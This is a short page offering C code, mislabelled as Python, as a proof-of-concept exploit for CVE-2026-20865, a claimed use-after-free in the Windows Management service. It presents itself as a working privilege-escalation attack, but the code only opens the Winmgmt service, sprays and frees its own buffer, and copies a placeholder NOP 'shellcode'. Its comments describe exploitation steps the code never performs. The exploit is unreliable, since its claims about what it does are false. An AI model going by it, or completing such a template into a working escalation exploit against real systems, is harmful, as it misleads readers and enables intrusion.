The following code is for security research and authorized testing only.
python
// CVE-2026-20865 PoC - Windows Management Services Use-After-Free
// This is a conceptual proof-of-concept for educational purposes only
#include <windows.h>
#include <stdio.h>
// Trigger the use-after-free condition in Windows Management Services
BOOL TriggerUAF() {
HANDLE hService = NULL;
SC_HANDLE scManager = NULL;
// Open Service Control Manager
scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (!scManager) {
printf("[-] Failed to open Service Control Manager\n");
return FALSE;
}
// Open Windows Management service
hService = OpenService(scManager, "Winmgmt", SERVICE_ALL_ACCESS);
if (!hService) {
printf("[-] Failed to open Winmgmt service\n");
CloseServiceHandle(scManager);
return FALSE;
}
// Trigger the vulnerable code path
// This would involve specific WMI operations that trigger the UAF
printf("[*] Triggering UAF condition...\n");
// Memory spray to occupy freed memory
char* spray_buffer = (char*)malloc(0x1000);
memset(spray_buffer, 0x41, 0x1000);
// Control freed memory with shellcode
// Shellcode for privilege escalation to SYSTEM
unsigned char shellcode[] = {
0x90, 0x90, 0x90 // NOP sled
// ... actual shellcode would go here
};
memcpy(spray_buffer, shellcode, sizeof(shellcode));
// Trigger reallocation of freed memory
printf("[*] Exploiting freed memory region...\n");
free(spray_buffer);
CloseServiceHandle(hService);
CloseServiceHandle(scManager);
return TRUE;
}
int main() {
printf("[*] CVE-2026-20865 PoC\n");
printf("[*] Windows Management Services Use-After-Free\n");
if (TriggerUAF()) {
printf("[+] UAF condition triggered\n");
}
return 0;
}